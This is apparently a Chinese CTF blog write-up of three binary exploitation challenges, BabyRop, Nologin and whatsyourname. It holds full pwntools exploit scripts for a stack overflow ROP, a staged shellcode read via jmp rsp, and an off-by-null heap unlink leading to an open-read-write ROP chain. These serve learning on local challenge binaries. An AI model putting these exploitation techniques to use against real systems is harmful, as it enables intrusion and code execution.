逐渐跟着大佬的博客去复现一些题。

BabyRop

这题应该是签到题。

分析

main 函数:

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("Welcome!");
Go();
puts("Hello World!");
return 0;
}

下面给了个空间足够的栈溢出。

1
2
3
4
5
6
7
char *Go()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

puts("Input:");
return fgets(s, 0x60, stdin);
}

程序存在后门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.data:0804C024 g_szHint        db '/cin/sh',0
//[+]----------------------------------------------------[+]

int __cdecl fun1(char *command)
{
return system(command);
}

//[+]----------------------------------------------------[+]

int __cdecl fun2(int a1, int a2)
{
int result; // eax

result = a2 + a1;
*(_BYTE *)(a2 + a1) ^= 1u;
return result;
}

因为 chr(ord('c')^1) = 'b',所以预期做法应该是通过 fun2 转化字符串之后调用 fun1 结束,但是这里直接传 sh 不知道可以不可以。没发现后门的话直接常规 ROP 大概也是可行的 XD。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./BabyRop')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
p = process('./BabyRop')
# debug(0x080491FD)

fun1 = 0x080491D6
fun2 = 0x080491FD
cin_sh = 0x0804C024
# fun2 c -> b
payload=flat(
['A'*0x28,0xdeadbeef,fun2,elf.sym['_start'],cin_sh,1]
)
sl(payload)
# fun1
payload=flat(
['A'*0x28,0xdeadbeef,fun1,elf.sym['_start'],cin_sh,0]
)
sl(payload)

p.interactive()

Nologin

不要被 user 给骗了,admin 的栈溢出才是关键,就算只有 0x18 字节。注意本题的栈是 rwx 权限。可以玩 shellcode。

分析

关键函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall sub_40095D(const char *a1)
{
unsigned int v1; // eax
char buf; // [rsp+17h] [rbp-9h] BYREF
unsigned int v4; // [rsp+18h] [rbp-8h]
unsigned int i; // [rsp+1Ch] [rbp-4h]

puts(">password: ");
v4 = strlen(a1);
i = 0;
while ( i < v4 )
{
v1 = i++;
a1[v1] = 0;
}
for ( i = 0; i <= 0x1D; ++i )
{
if ( !read(0, &buf, 1uLL) )
return 0LL;
if ( buf == 10 )
{
a1[i] = 0;
return 1LL;
}
a1[i] = buf;
}
return 1LL;
}

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./nologin')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
p = process('./nologin')
debug(0x401008)
'''
0x00000000004016fb: jmp rsp;
'''
jmp_rsp = 0x4016fb
shellcode_read = asm('xor eax,eax;mov rdx,r11;syscall')
payload = 'A'*13
payload += p64(jmp_rsp)
payload += shellcode_read
info_addr('LENGTH',len(shellcode_read)) # 7
sl('2')
sla('>password:',payload)
shellcode = 'A'*(0x97-0x57)
shellcode += asm(shellcraft.cat('./nologin.py'))
sl(shellcode)

p.interactive()

思考

从这题我学到了一个新思路,可以写短小的 read shellcode 扩大输入字节数写入真正的 shellcode。

没有远程环境可以复现,本地 system 打不通可能是栈环境太烂了,目前还不会处理。ORW 还是可以玩的。

whatsyourname

Libc 2.23,经典菜单题,好吧开了沙盒,把我心爱的 execve 函数给 🐑💢。Edit 函数处存在 Off by NULL 漏洞。低版本 libc 没有检查,unlink 乱扬 leak libc 。修改堆块 data 指针 leak environ,修改堆块 func 指针为 gets 打 rop。

另外这题的初始堆块情况很乱,需要细细调试。

堆块结构

1
2
3
4
5
6
7
8
+──────────────────+─────────────────────+─────────────────────+
| 0x556027561c60: | 0x4141414141414141 | 0x0000000000000021 |<-- prev_size size
| 0x556027561c70: | 0x0000556026400d98 | 0x0000556027561c90 |<-- *func *data
+──────────────────+─────────────────────+─────────────────────+
| 0x556027561c80: | 0x4141414141414141 | 0x0000000000000021 |<-- data chunk
| 0x556027561c90: | 0x00007fe200403b78 | 0x00007fe200403b78 |
+──────────────────+─────────────────────+─────────────────────+

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./name')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
p = process('./name')
# debug(0xFF0)

def menu(choice):
sla('5.exit',str(choice))

def add(size):
menu(1)
sla('name size:',str(size))

def edit(id,data):
menu(2)
sla('index:',str(id))
sea('name:',str(data))

def show(id):
menu(3)
sla('index:',str(id))

def delete(id):
menu(4)
sla('index:',str(id))

#===========================================================
# UNLINK HERE
#===========================================================

add(0xf8) # 0
add(0xf8) # 1
add(0xf8) # 2
add(0xf8) # 3

delete(0)
# edit(2,'A'*0xf8)
edit(1,'A'*0xf0+pack(0x200))
delete(2)

#===========================================================
# LEAK HERE
#===========================================================

add(0xf8) # 0 0
show(0)
ru('\n')
main_arena_pxx = uu64(rc(6))
libc_base = main_arena_pxx - 0x3c4e68
info_addr('main_arena_pxx',main_arena_pxx)
info_addr('libc_base',libc_base)
libc = ELF('./libc.so.6')
environ_addr = libc_base + libc.sym['environ']
puts_addr = libc_base + libc.sym['puts']
gets_addr = libc_base + libc.sym['gets']

add(0x18)# 2 ? ?
add(0x18)# 4 ? 1
add(0x18)# 5 1 1

edit(1,'D'*0x10+p64(0) + p64(0x21) + p64(puts_addr) + p64(environ_addr))
show(5)
ru('\n')
stack_leak = uu64(rc(6))
info_addr('Stack',stack_leak)
edit(1,'D'*0x10+p64(0) + p64(0x21) + p64(gets_addr)+ p64(stack_leak - 0x100)) # gdb
#===========================================================
# ROP-ORW HERE
#===========================================================
show(5)

rdi = libc_base + 0x0000000000021112
rdx = libc_base + 0x0000000000001b92
rsi = libc_base + 0x00000000000202f8
ret = libc_base + 0x0000000000000937
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
target = libc_base + libc.sym['_IO_2_1_stderr_']

payload = flat([rdi,0,rsi,target,rdx,0x300,read_addr])
payload += flat([rdi,target,rsi,0,open_addr])
payload += flat([rdi,3,rsi,target,rdx,0x300,read_addr])
payload += flat([rdi,1,rsi,target,rdx,0x300,write_addr])

sl(payload)

sl('./exp.py\0')

p.interactive()

'''
0x0000000000021112 : pop rdi ; ret
0x0000000000001b92 : pop rdx ; ret
0x00000000000202f8 : pop rsi ; ret
0x0000000000000937 : ret
'''

思考

涉及到堆块分配次数较多的堆题,一定要做好记号标记堆块大概位置,不然头晕。

找不到地址不要怕,动调干它。

ORW 很爽,孩子很喜欢,敏感肌也能用,已经买了 2 箱了,隔壁小孩馋哭了。